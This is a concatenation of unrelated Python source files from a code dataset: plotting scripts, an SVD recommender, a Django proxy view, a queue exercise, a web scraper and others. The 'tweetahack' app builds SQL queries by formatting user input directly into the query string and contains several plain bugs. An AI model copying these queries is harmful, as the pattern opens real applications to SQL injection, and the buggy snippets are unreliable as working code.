###\nplt.figure()\nplt.scatter(avgfluxperob2, vary2, c=modz2, marker='+', vmax=6)\ncbar = plt.colorbar()\ncbar.set_label('Modified z-score')\nplt.yscale('log')\nplt.xscale('log')\nplt.ylim(1e-4, 1e1)\nplt.xlabel('Mean Magnitude')\nplt.ylabel('MAD Magnitude')\n\n#plt.plot(varymeancorr, varymadcorr, 'md', mfc='none', markersize=10)\n\n### plot mod z score as contours ###\nxi = np.linspace(min(avgfluxperob2), max(avgfluxperob2), 100)\nyi = np.logspace(-4, 1, 100)\n\n#xi, yi = np.meshgrid(xi,yi)\n \nplt.figure()\nplt.plot(xi,yi,'o')\n#plt.xscale('log')\nplt.yscale('log')\n \nzi = griddata(avgfluxperob2, vary2, modz2, xi, yi, interp='linear')\n#plt.plot(avgfluxperob, vary, 'b+')\nplt.figure(1)\nplt.contour(xi, yi, zi, [0,4,5,6,8,10], zorder=3, linewidths=2.5)\ncbar = plt.colorbar()\ncbar.set_label('Modified z-score')\nax = fig.add_subplot(111)\nfor axis in ['top','bottom','left','right']:\n ax.spines[axis].set_linewidth(1.5)\n#interest = tb2['NUMBER_05B'] == 1\n#xint = avgfluxperob2[interest]\n#yint = vary2[interest]\n#plt.plot(xint, yint, 'ks', markersize=10)\n\n# \n# \n# ########## code that worked for magnitudes\n# \n# ### plot mod z score as contours ###\n#xi = np.linspace(min(avgfluxperob2), max(avgfluxperob2), 1000)\n#yi = np.logspace(-4, 1, 5000)\n#\n#\n#zi = griddata(avgfluxperob2, vary2, modz2, xi, yi, interp='linear')\n##plt.plot(avgfluxperob, vary, 'b+')\n#plt.figure(1)\n#plt.contour(xi, yi, zi, [0,4,5,6,8,10], zorder=3, linewidths=2.5)\n#cbar = plt.colorbar()\n#cbar.set_label('Modified z-score')\n#ax = fig.add_subplot(111)\n#for axis in ['top','bottom','left','right']:\n# ax.spines[axis].set_linewidth(1.5)","sub_path":"isolatevarying.py","file_name":"isolatevarying.py","file_ext":"py","file_size_in_byte":5659,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"557675893","text":"import logging\nfrom database import db_session\nfrom models import Hack, Submission, HackCorpus\nfrom ngrams import build_bad_advice\nfrom datetime import datetime\nfrom flask import jsonify\n\ndef give_bad_advice(category='lifehacks'):\n return {'hack':build_bad_advice(db_session)}\n\ndef submit_hack(tweet_id=None, user=None, screen_name=None, category=None, tweet_contents=None,\n\t\ttags=None, url=None):\n created_at = datetime.now()\n post = Submission(tweet_id=tweet_id, user=user, screen_name=screen_name,\n category=category, tweet_contents=tweet_contents, tags=tags,\n url=rul)\n try:\n db_session.add(post)\n db_session.commit()\n except:\n logging.error(\"ERROR CREATING HACK\")\n\ndef lookup_hacks(tags=[], operator='|'):\n \"\"\"\n :param tags: List of hashtag tokens to be used as search terms\n :return : List of hack results\n \"\"\"\n str_tags = tags\n if len(str_tags) > 1:\n search_terms = ' {} '.format(operator).join(str_tags).join(['\\'', '\\''])\n elif len(str_tags) == 1:\n search_terms = str_tags[0].join(['\\'', '\\''])\n if len(str_tags) == 0:\n res = None\n else:\n res = db_session.execute(\"SELECT * FROM hackcorpus WHERE \" +\n \"to_tsvector('english', text) @@ to_tsquery({})\".format(search_terms))\n return [x for x in res]\n\n\ndef get_top():\n category = request.args['category']\n res = db_session.execute('SELECT * FROM submissions WHERE category == {} LIMIT 10' +\n 'ORDER BY DESC favorites')\n","sub_path":"tweetahack/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1576,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"461890142","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Jun 12 10:53:13 2018\n\n@author: 赵智广\n\"\"\"\n\nimport numpy as np\n\n#A=np.array([[1,1],[7,7]])\n\n\n\n\ndef loadExData():\n return[[0, 0, 0, 2, 2],\n [0, 0, 0, 3, 3],\n [0, 0, 0, 1, 1],\n [1, 1, 1, 0, 0],\n [2, 2, 2, 0, 0],\n [5, 5, 5, 0, 0],\n [1, 1, 1, 0, 0]]\n \ndef loadExData2():\n return[[0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 5],\n [0, 0, 0, 3, 0, 4, 0, 0, 0, 0, 3],\n [0, 0, 0, 0, 4, 0, 0, 1, 0, 4, 0],\n [3, 3, 4, 0, 0, 0, 0, 2, 2, 0, 0],\n [5, 4, 5, 0, 0, 0, 0, 5, 5, 0, 0],\n [0, 0, 0, 0, 5, 0, 1, 0, 0, 5, 0],\n [4, 3, 4, 0, 0, 0, 0, 5, 5, 0, 1],\n [0, 0, 0, 4, 0, 4, 0, 0, 0, 0, 4],\n [0, 0, 0, 2, 0, 2, 5, 0, 0, 1, 2],\n [0, 0, 0, 0, 5, 0, 0, 0, 0, 4, 0],\n [1, 0, 0, 0, 0, 0, 0, 1, 2, 0, 0]]\n \ndef ecludSim(A,B):\n return 1.0/(1.0+np.linalg.norm(A-B))\n \ndef pearsSim(inA,inB):\n if len(inA) < 3 : return 1.0\n return 0.5+0.5*np.corrcoef(inA, inB, rowvar = 0)[0][1]\n\ndef cosSim(inA,inB):\n num = float(inA.T*inB)\n denom = np.linalg.norm(inA)*np.linalg.norm(inB)\n return 0.5+0.5*(num/denom)\n\ndef standEst(dataMat, user, simMeas, item):\n n = dataMat.shape[1]\n simTotal = 0.0; ratSimTotal = 0.0\n for j in range(n):\n userRating = dataMat[user,j]\n if userRating == 0: continue\n overLap = np.nonzero(np.logical_and(dataMat[:,item].A>0, \\\n dataMat[:,j].A>0))[0]\n if len(overLap) == 0: similarity = 0\n else: similarity = simMeas(dataMat[overLap,item], \\\n dataMat[overLap,j])\n print('the {0:d} and {1:d} similarity is: {2:f}'.format(item, j, similarity))\n simTotal += similarity\n ratSimTotal += similarity * userRating\n if simTotal == 0: return 0\n else: return ratSimTotal/simTotal\n \ndef svdEst(dataMat, user, simMeas, item):\n n = dataMat.shape[1]\n simTotal = 0.0; ratSimTotal = 0.0\n U,Sigma,VT = np.linalg.svd(dataMat) #关键点在这个地方,奇异值分解\n Sig4 = np.matrix(np.eye(4)*Sigma[:4]) #arrange Sig4 into a diagonal matrix\n xformedItems = dataMat.T * U[:,:4] * Sig4.I #create transformed items\n for j in range(n):\n userRating = dataMat[user,j]\n if userRating == 0 or j==item: continue\n similarity = simMeas(xformedItems[item,:].T,\\\n xformedItems[j,:].T)\n\n print('the {0:d} and {1:d} similarity is: {2:f}'.format(item, j, similarity))\n simTotal += similarity\n ratSimTotal += similarity * userRating\n if simTotal == 0: return 0\n else: return ratSimTotal/simTotal\n\n\ndef svdEst2(dataMat, user, simMeas, item):\n n = dataMat.shape[1]\n simTotal = 0.0; ratSimTotal = 0.0\n U,Sigma,VT = np.linalg.svd(dataMat)\n Sig4 = np.matrix(np.eye(4)*Sigma[:4]) #arrange Sig4 into a diagonal matrix\n #xformedItems = dataMat.T * U[:,:4] * Sig4.I #create transformed items\n xformedItems = U[:,:4].T *dataMat #create transformed items //4*items\n for j in range(n):\n userRating = dataMat[user,j]\n if userRating == 0 or j==item: continue\n similarity = simMeas(xformedItems[:,item],\\\n xformedItems[:,j])\n print('the {0:d} and {1:d} similarity is: {2:f}'.format(item, j, similarity))\n simTotal += similarity\n ratSimTotal += similarity * userRating\n if simTotal == 0: return 0\n else: return ratSimTotal/simTotal\n\ndef recommend(dataMat, user, N=3, simMeas=cosSim, estMethod=standEst):\n unratedItems = np.nonzero(dataMat[user,:].A==0)[1]#find unrated items \n if len(unratedItems) == 0: return 'you rated everything'\n itemScores = []\n for item in unratedItems:\n estimatedScore = estMethod(dataMat, user, simMeas, item)\n itemScores.append((item, estimatedScore))\n return sorted(itemScores, key=lambda jj: jj[1], reverse=True)[:N]\n\n#A = loadExData()\n\n#U,Sigma,VT = np.linalg.svd(A)\n\n#print('U=',U)\n#print('Sigma',Sigma)\n#print('VT',VT)\n\nA=np.matrix(loadExData())\nA[0,1]=A[0,0]=A[1,0]=A[2,0]=4\nA[3,3]=2\nprint(A)\n\n##est = standEst(A,2,ecludSim,1)\n#print('using ecludSim method,estimate[2,1]=',standEst(A,2,ecludSim,1))\n#print('using pearsSim method,estimate[2,1]=',standEst(A,2,pearsSim,1))\n#print('using cosSim method,estimate[2,1]=',standEst(A,2,cosSim,1))\n\n#print(recommend(A,2))\n\nB = np.matrix(loadExData2())\nU,sigma,VT=np.linalg.svd(B)\nprint(sigma)\n\n#coumpute how many sigmas we need\n#sig2=sigma**2\n#print('sig2=',sum(sig2))\n#sumv=0\n#for i in range(sigma.shape[0]):\n# n=i+1\n# sumv=sumv+sigma[i]**2\n# print('{0}th sumv={1}'.format(n,sumv))\n# if sumv>(sum(sig2)*0.9):\n# break\n#\n#for j in range(n):\n# print(sigma[j])\n# \n\nprint('============SVD Est cosSim================')\nprint(recommend(B,1,estMethod=svdEst))\nprint('============mySVD Est cosSim================')\nprint(recommend(B,1,estMethod=svdEst2))\nprint('============SVD Est ecludSim================')\nprint(recommend(B,1,estMethod=svdEst,simMeas=ecludSim))\nprint('============Stand Est================')\nprint(recommend(B,1,estMethod=standEst))\n\n","sub_path":"mathinelearning/RecommenderSystem/SVD_RS.py","file_name":"SVD_RS.py","file_ext":"py","file_size_in_byte":5187,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"190605765","text":"import requests\nfrom django.http import HttpResponse\nfrom django.http import QueryDict\nfrom django.conf import settings\nfrom django.core.urlresolvers import reverse\nfrom django.shortcuts import redirect, render\nfrom django.views.decorators.csrf import csrf_exempt\n\nfrom .utils import proxy_reverse, rewrite_response\n\n@csrf_exempt\ndef proxy_view(request, url, domain=None, secure=False, requests_args=None, template_name=\"proxy/debug.html\"):\n \"\"\"\n Forward as close to an exact copy of the request as possible along to the\n given url. Respond with as close to an exact copy of the resulting\n response as possible.\n\n If there are any additional arguments you wish to send to requests, put\n them in the requests_args dictionary.\n \"\"\"\n requests_args = (requests_args or {}).copy()\n headers = get_headers(request.META)\n params = request.GET.copy()\n\n proxy_domain = settings.PROXY_DOMAIN\n\n protocol = 'http'\n if secure:\n protocol = 'https'\n\n url = '%s://%s/%s' % (protocol, proxy_domain, url[1:] if url.startswith('/') else url)\n\n\n if 'headers' not in requests_args:\n requests_args['headers'] = {}\n if 'data' not in requests_args:\n requests_args['data'] = request.body\n if 'params' not in requests_args:\n requests_args['params'] = QueryDict('', mutable=True)\n if 'cookies' not in requests_args and getattr(settings, 'PROXY_SET_COOKIES', False):\n headers = dict([ (kk, vv) for kk, vv in headers.items() if kk.lower() != 'cookie' ])\n requests_args['cookies'] = get_cookies(request, proxy_domain)\n\n # Overwrite any headers and params from the incoming request with explicitly\n # specified values for the requests library.\n headers.update(requests_args['headers'])\n params.update(requests_args['params'])\n\n # If there's a content-length header from Django, it's probably in all-caps\n # and requests might not notice it, so just remove it.\n for key in headers.keys():\n if key.lower() == 'content-length':\n del headers[key]\n\n requests_args['headers'] = headers\n requests_args['params'] = params\n\n if settings.DEBUG and request.method != 'HEAD':\n requests_args['allow_redirects'] = False\n\n\n response = requests.request(request.method, url, **requests_args)\n\n if getattr(settings, 'PROXY_SET_COOKIES', False):\n set_cookies(request, proxy_domain, response.cookies)\n\n content_type = response.headers['content-type']\n content = response.content\n show_debug = False\n if 'html' in content_type.lower():\n content = rewrite_response(content, proxy_domain, secure=secure)\n show_debug = settings.DEBUG\n elif 'javascript' in content_type.lower():\n content = rewrite_script(content, proxy_domain, secure=secure)\n\n if show_debug:\n ctx = {\n 'url': url,\n 'requests_args': requests_args,\n 'response': content,\n 'headers': response.headers,\n 'status': response.status_code,\n }\n if int(response.status_code) in (301, 302):\n redirection = response.headers['location']\n ctx['redirection'] = proxy_reverse(redirection, secure)\n proxy_response = render(request, template_name, ctx)\n else:\n proxy_response = HttpResponse(\n content,\n status=response.status_code)\n\n\n excluded_headers = set([\n # Hop-by-hop headers\n # ------------------\n # Certain response headers should NOT be just tunneled through. These\n # are they. For more info, see:\n # http://www.w3.org/Protocols/rfc2616/rfc2616-sec13.html#sec13.5.1\n 'connection', 'keep-alive', 'proxy-authenticate', \n 'proxy-authorization', 'te', 'trailers', 'transfer-encoding', \n 'upgrade', \n\n # Although content-encoding is not listed among the hop-by-hop headers,\n # it can cause trouble as well. Just let the server set the value as\n # it should be.\n 'content-encoding',\n\n # Since the remote server may or may not have sent the content in the\n # same encoding as Django will, let Django worry about what the length\n # should be.\n 'content-length',\n ])\n for key, value in response.headers.iteritems():\n if key.lower() in excluded_headers:\n continue\n proxy_response[key] = value\n\n\n return proxy_response\n\n\nPROXY_COOKIE_SESSION_KEY = '__proxy_cookiefile_%s'\n\ndef get_session_key(domain):\n return PROXY_COOKIE_SESSION_KEY % domain.replace('.', '_')\n\ndef get_cookies(request, domain):\n return request.session.get(get_session_key(domain))\n\ndef set_cookies(request, domain, cookies):\n import cookielib\n try:\n jar = request.session[get_session_key(domain)]\n except KeyError:\n jar = requests.cookies.RequestsCookieJar()\n try:\n for cookie in cookies:\n jar.set_cookie(cookie)\n except AttributeError:\n for key, value in cookies.items():\n cookie = SimpleCookie()\n cookie[key] = value\n jar.set_cookie(cookie)\n request.session[get_session_key(domain)] = jar\n request.session.modified = True\n\ndef get_headers(environ):\n \"\"\"\n Retrieve the HTTP headers from a WSGI environment dictionary. See\n https://docs.djangoproject.com/en/dev/ref/request-response/#django.http.HttpRequest.META\n \"\"\"\n headers = {}\n for key, value in environ.iteritems():\n # Sometimes, things don't like when you send the requesting host through.\n if key.startswith('HTTP_') and key != 'HTTP_HOST':\n headers[key[5:].replace('_', '-')] = value\n elif key in ('CONTENT_TYPE', 'CONTENT_LENGTH'):\n headers[key.replace('_', '-')] = value\n\n return headers\n","sub_path":"proxy/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5767,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"114369376","text":"import unittest\r\n\r\n\r\n\r\nclass QueueTwoStacks(object):\r\n\r\n def __init__(self):\r\n self.inStack=[]\r\n self.outStack=[]\r\n\r\n def enqueue(self, item):\r\n while(self.inStack!=[]):\r\n self.outStack.append(self.inStack.pop())\r\n self.inStack.append(item)\r\n while(self.outStack!=[]):\r\n self.inStack.append(self.outStack.pop())\r\n\r\n def dequeue(self):\r\n if(self.inStack==[]):\r\n raise Exception\r\n else:\r\n return self.inStack.pop()\r\n\r\n\r\n\r\n# Tests\r\n\r\nclass Test(unittest.TestCase):\r\n\r\n def test_queue_usage(self):\r\n queue = QueueTwoStacks()\r\n\r\n queue.enqueue(1)\r\n queue.enqueue(2)\r\n queue.enqueue(3)\r\n\r\n actual = queue.dequeue()\r\n expected = 1\r\n self.assertEqual(actual, expected)\r\n\r\n actual = queue.dequeue()\r\n expected = 2\r\n self.assertEqual(actual, expected)\r\n\r\n queue.enqueue(4)\r\n\r\n actual = queue.dequeue()\r\n expected = 3\r\n self.assertEqual(actual, expected)\r\n\r\n actual = queue.dequeue()\r\n expected = 4\r\n self.assertEqual(actual, expected)\r\n\r\n with self.assertRaises(Exception):\r\n queue.dequeue()\r\n\r\n\r\nunittest.main(verbosity=2)\r\n","sub_path":"Competetive_Programming/Week1/Day6/queueusingstack.py","file_name":"queueusingstack.py","file_ext":"py","file_size_in_byte":1257,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"311449353","text":"\"\"\"\nA palindromic number reads the same both ways. The largest palindrome made\nfrom the product of two 2-digit numbers is 9009 = 91 * 99.\n\nFind the largest palindrome made from the product of two 3-digit numbers.\n\"\"\"\nfrom multiprocessing import Process, Queue\nimport unittest\nfrom time import time\nfrom utils.palindrome import is_palindrome\n\n\ndef problem004(output, argument=3):\n \"\"\"\n Solve Problem #4.\n \"\"\"\n answer = 0\n for second_number in xrange(10 ** (argument - 1), 10 ** argument):\n for first_number in xrange(10 ** (argument - 1), second_number + 1):\n if first_number * second_number > answer and \\\n is_palindrome(first_number * second_number):\n answer = first_number * second_number\n output.put((4, answer))\n\n\nclass TestProblem004(unittest.TestCase):\n \"\"\"\n Test Problem #4.\n \"\"\"\n\n def test_isanswercorrect(self):\n \"\"\"\n Make sure we have the correct answer.\n \"\"\"\n answer = Queue()\n Process(target=problem004, args=(answer,)).start()\n self.assertEqual(answer.get(), (4, 906609))\n\n def test_example(self):\n \"\"\"\n Check the provided example.\n \"\"\"\n answer = Queue()\n Process(target=problem004, args=(answer, 2)).start()\n self.assertEqual(answer.get(), (4, 9009))\n\n def test_sixtyseconds(self):\n \"\"\"\n Ensure code runs in under 60 seconds.\n \"\"\"\n starttime = time()\n answer = Queue()\n Process(target=problem004, args=(answer,)).start()\n self.assertLess(time() - starttime, 60)\n","sub_path":"problems/problem004.py","file_name":"problem004.py","file_ext":"py","file_size_in_byte":1597,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"174108163","text":"\"\"\"Time to play with Python dictionaries!\nYou're going to work on a dictionary that\nstores cities by country and continent.\nOne is done for you - the city of Mountain \nView is in the USA, which is in North America.\n\nYou need to add the cities listed below by\nmodifying the structure.\nThen, you should print out the values specified\nby looking them up in the structure.\n\nCities to add:\nBangalore (India, Asia)\nAtlanta (USA, North America)\nCairo (Egypt, Africa)\nShanghai (China, Asia)\"\"\"\n\nlocations = {'North America':{\n\t\t\t\t'USA': ['Mountain View','Atlanta']\n\t\t\t\t},\n\t\t\t'Asia': {\n\t\t\t\t'India': ['Bangalore'],\n\t\t\t\t'China': ['Shanghai']\n\t\t\t\t},\n\t\t\t'Africa': {\n\t\t\t\t'Egypt':['Cairo']\n\t\t\t\t},\n\t\t\t}\n\n\"\"\"Print the following (using \"print\").\n1. A list of all cities in the USA in\nalphabetic order.\n2. All cities in Asia, in alphabetic\norder, next to the name of the country.\nIn your output, label each answer with a number\nso it looks like this:\n1\nAmerican City\nAmerican City\n2\nAsian City - Country\nAsian City - Country\"\"\"\n\n\"\"\"\n1. A list of all cities in the USA in\nalphabetic order.\n\"\"\"\n#for city in locations.get('North America').get('USA').sort(): \n#print(locations.get('North America').get('USA').sort())\nprint(1)\nfor city in sorted(locations.get('North America').get('USA')):\n\tprint(city)\n\n\"\"\"\n2. All cities in Asia, in alphabetic\norder, next to the name of the country.\nIn your output, label each answer with a number\n\"\"\"\nprint(2)\n#for city in sorted((locations.get('Asia')).values())\n#print(list(locations.get('Asia').items()))\n#print(list(locations.get('Asia').values()))\ncity_country={}\nfor country in locations.get('Asia'):\n\t\tfor city in locations.get('Asia').get(country):\n\t\t\tcity_country[city]=country\n#print(sorted(city_country.keys()))\nfor city in sorted(city_country.keys()):\n\tprint(f'{city} - {city_country[city]}')\n#\tprint(locations.get('Asia'))\n","sub_path":"001_Python/20210824_2332_UdacityDictionaryPractice/DictionaryPractice_v01.py","file_name":"DictionaryPractice_v01.py","file_ext":"py","file_size_in_byte":1849,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"87636690","text":"from django.shortcuts import render\r\nfrom django.db import connection\r\nimport requests\r\n\r\nfrom bs4 import BeautifulSoup\r\n\r\nfrom .forms import PersonForm\r\nfrom .forms import Key\r\n\r\n\r\n\r\ndef index(request):\r\n\r\n if request.method == 'POST':\r\n headers = {\r\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393'}\r\n\r\n form = PersonForm(request.POST)\r\n url = form.data['title']\r\n req = requests.get(url, headers=headers).text\r\n posts = []\r\n\r\n cursor = connection.cursor()\r\n query_string = \"select * from topic\"\r\n cursor.execute(query_string)\r\n se = cursor.fetchall()\r\n\r\n for ti in se:\r\n if ti[2] in req:\r\n dic = {'site': ti[1], 'url': ti[2]}\r\n posts.append(dic)\r\n\r\n if form.is_valid(): # 폼 검증\r\n return render(request, 'hello_app/index.html', {'form': form, 'posts':posts,'url':url})\r\n\r\n else:\r\n form = PersonForm() # forms.py의 PostForm 클래스의 인스턴스\r\n return render(request, 'hello_app/index.html', {'form': form}) # 템플릿 파일 경로 지정, 데이터 전달\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\ndef key(request): # key 라는 함수(그룹) 만들겠다고 def로 선언했어\r\n\r\n post = [] # 데이터베이스 안의 내용들이 한번씩 돌때마다 쌓여 담겨있어요 (포문안에쓰면 리셋되어 마지막꺼만 나옴)\r\n\r\n if request.method == 'POST': # 포스트로 받은 값이 있다면\r\n headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393'}\r\n\r\n forms = Key(request.POST) # HTTP가 인식하는 포스트의 모든값\r\n ke = forms.data['keyword'] # POST안에 있는 키 값\r\n url = 'https://ad.search.naver.com/search.naver?where=ad&sm=svc_nrs&query={}'.format(ke) # 네이버 파워링크 url 뒤로 키워드값 넣기\r\n uurl = url + '&pagingIndex={}' # 페이지 수\r\n\r\n\r\n\r\n for n in range(1, 100): # url페이지 수 100번 돌리기 포문\r\n\r\n u_url = uurl.format(n) # url페이지 수 뒤로 n번만큼(100) 돌려라\r\n reqe = requests.get(u_url, headers=headers).text # 키워드넣은 값의 url을 갖고왔다\r\n soup = BeautifulSoup(reqe, 'html.parser') # url을 뷰티풀소프로 컴퓨터가 읽을수있는 html파일로 쪄버리기\r\n titles_by_select = soup.select('ol.lst_type > li > div.inner > a.lnk_tit') # a태그 선택하여 titles_by_select안에 담아요\r\n period_area = soup.select('ol.lst_type > li > div.inner > div.period_area > em.txt ') # a태그 선택하여 titles_by_select안에 담아요\r\n\r\n if not titles_by_select: # a태그가 없으면(값) 멈춰라\r\n break\r\n\r\n for titl in titles_by_select: # titles_by_select안에 titl가 있는동안 도라라\r\n te = titl.text # te안에 titl을 텍스트인것들(쇼핑몰 이름)을 담아라! 잘 담김=프린트해봄\r\n print(te)\r\n f_url = titl.get('href') # f_url안에 쇼핑몰의 주소를 담아라~ 프린트해봄!\r\n f_req = requests.get(f_url, headers=headers).text #\r\n\r\n cur = connection.cursor()\r\n string = \"select * from topic\"\r\n cur.execute(string)\r\n see = cur.fetchall()\r\n\r\n post1 = []\r\n for t in see: # 데이터베이스와 url 비교하는구문\r\n if t[2] in f_req:\r\n di = t[1]\r\n post1.append(di)\r\n\r\n dd = {'site': te, 'title': post1, 'url': f_url}\r\n\r\n post.append(dd)\r\n\r\n\r\n\r\n\r\n if forms.is_valid(): # 폼 검증 #얘는 if request.method == 'POST': 안에 있어야 함\r\n return render(request, 'hello_app/key.html', {'form': forms, 'post': post})\r\n\r\n\r\n else: # 얘는 if request.method == 'POST': 얘랑 짝꿍이라 if request.method == 'POST':쟤 줄에 같이있어야한다\r\n forms = Key()\r\n return render(request, 'hello_app/key.html', {'form': forms, }) # 템플릿 파일 경로 지정, 데이터 전달\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"views-1.py","file_name":"views-1.py","file_ext":"py","file_size_in_byte":4356,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"54433997","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Apr 29 22:14:59 2020\r\n\r\n@author: 6752499\r\n\"\"\"\r\n\r\n\r\nimport cv2\r\n\r\ntry:\r\n capture = cv2.VideoCapture(0)\r\n cascade = cv2.CascadeClassifier(r'C:\\\\Users\\suzuk\\program\\data\\haarcascade_frontalface_alt.xml')\r\n \r\n while(True):\r\n ret, frame = capture.read() \r\n if ret == False:\r\n print('カメラから映像を取得できませんでした。')\r\n continue\r\n facerect = cascade.detectMultiScale(frame)\r\n if len(facerect) > 0 :\r\n for rect in facerect:\r\n cv2.rectangle(frame, tuple(rect[0:2]), tuple(rect[0:2] + rect[2:4]), (0, 0, 255), thickness=2)\r\n cv2.imshow('f', frame)\r\n \r\n if cv2.waitKey(1) & 0xFF == ord('q'):\r\n break\r\n \r\n capture.release()\r\n cv2.destroyAllWindows()\r\nexcept:\r\n import sys\r\n print('Error:', sys.exc_info()[0])\r\n print(sys.exc_info()[1])\r\n import traceback\r\n print(traceback.format_tb(sys.exc_info()[2]))\r\n\r\n ","sub_path":"detect_object_camera.py","file_name":"detect_object_camera.py","file_ext":"py","file_size_in_byte":1019,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"41635790","text":"import tkinter\nimport tkinter.constants\nimport tkinter.filedialog\nimport System\n\n\nclass TkFileDialogExample(tkinter.Frame):\n def __init__(self, root):\n tkinter.Frame.__init__(self, root)\n button_opt = {'fill': tkinter.constants.BOTH, 'padx': 5, 'pady': 5}\n tkinter.Button(self, text='Open File', command=self.askopenfile).pack(**button_opt)\n self.file_opt = options = {}\n options['defaultextension'] = '.png'\n options['filetypes'] = [('all files', '.*'), ('image files', '.png', '.jpg')]\n self.dir_opt = options = {}\n options['mustexist'] = False\n\n def askopenfile(self):\n filename = tkinter.filedialog.askopenfilename(**self.file_opt)\n System.path = str(filename)\n System.main()\n exit(0)\n\n\ndef main():\n root = tkinter.Tk()\n TkFileDialogExample(root).pack()\n root.mainloop()\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":914,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"651770087","text":"\n\n#calss header\nclass _ROAST():\n\tdef __init__(self,): \n\t\tself.name = \"ROAST\"\n\t\tself.definitions = [u'Roast meat or vegetables have been cooked in an oven or over a fire: ']\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'adjectives'\n\n\n\tdef run(self, obj1, obj2):\n\t\tself.jsondata[obj2] = {}\n\t\tself.jsondata[obj2]['properties'] = self.name.lower()\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/adjectives/_roast.py","file_name":"_roast.py","file_ext":"py","file_size_in_byte":425,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"103086098","text":"from chapter_02.linked_list import LinkedList\n\n\ndef kth_to_last(ll, k):\n runner = current = ll.head\n for _ in range(k):\n if not runner:\n return None\n runner = runner.next\n\n while runner:\n current = current.next\n runner = runner.next\n\n return current\n\n\n# O(N) space\ndef kth_last_recursive(ll, k):\n head = ll.head\n counter = 0\n\n def helper(head, k):\n nonlocal counter\n if not head:\n return None\n helper_node = helper(head.next, k)\n counter = counter + 1\n if counter == k:\n return head\n return helper_node\n\n return helper(head, k)\n\n\ntest_cases = (\n # list, k, expected\n ((10, 20, 30, 40, 50), 1, 50),\n ((10, 20, 30, 40, 50), 5, 10),\n)\n\n\ndef test_kth_to_last():\n for linked_list_values, k, expected in test_cases:\n ll = LinkedList(linked_list_values)\n assert kth_to_last(ll, k).value == expected\n assert kth_last_recursive(ll, k).value == expected\n\n\nif __name__ == \"__main__\":\n test_kth_to_last()\n","sub_path":"16_interviews/1. Coding Interview/CtCI-6th-Edition-Python-master/chapter_02/p02_return_kth_to_last.py","file_name":"p02_return_kth_to_last.py","file_ext":"py","file_size_in_byte":1056,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"186678867","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Dec 6 21:54:38 2017\n\n@author: tbrady\n\"\"\"\nimport playerDatabase as pdb\nimport settings as ls\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.mlab as mlab\nimport yahooQuery as yq\nfrom scipy.stats import norm\nfrom operator import itemgetter\nimport history as hs\n\ndef plotTeamPDF(teamRoster):\n team_mu = []\n team_var = []\n teamInfo = yq.getTeamManagerInfoQuery(ls.team_id)\n for idx in range(len(teamRoster)):\n if teamRoster[idx][1] != 'DEF' and\\\n teamRoster[idx][2] != 'IR' and\\\n teamRoster[idx][2] != 'BN':\n mu = 0\n weeks = []\n stats = []\n perf = []\n for i in range(1,ls.week-1):\n# arr = pdb.getWeeklyPositionPerformanceSQL(\n# index_column = 'fpts', match_column = 'position',\n# match_value = teamRoster[idx][1], week = i)\n player = pdb.getWeeklyPlayerPerformanceSQL(\n index_column = 'fpts', match_column ='player_id',\n match_value = teamRoster[idx][0], week = i)\n if player != 'null':\n# val = player/max(arr)\n# if val < 0: val = 0\n perf.append([i, player])\n# pname = pdb.selectEntryFromTable(index_column='name',match_column='player_id',match_value=teamRoster[idx][0])\n weeks = [d[0] for d in perf]\n stats = [d[1] for d in perf]\n\n mu = np.mean(stats)\n var = np.var(stats)\n\n team_mu.append(mu)\n team_var.append(var)\n\n\n mu = np.sum(team_mu)\n sigma = np.sqrt(np.mean(team_var))\n\n x = np.linspace(mu - 3*sigma, mu + 3*sigma, 100)\n pdf = mlab.normpdf(x, mu, sigma)\n plt.plot(x,pdf)\n plt.annotate(teamInfo.nickname,\n xy=(mu,max(pdf)),\n xytext=(mu*0.9,mu/1000),\n arrowprops=dict(arrowstyle='-'))\n return [mu, sigma]\n\n\ndef getOutcomeProbabilities(mu1, mu2, sigma1, sigma2):\n A = 1/(sigma2**2) - 1/(sigma1**2)\n B = 2*mu1/(sigma1**2) - 2*mu2/(sigma2**2)\n C = (mu2**2)/(sigma2**2) - (mu1**2)/(sigma1**2) - 2*np.log(sigma1/sigma2)\n\n rts = np.roots([A, B, C])\n\n if mu1 > mu2:\n muW = mu1\n sigmaW = 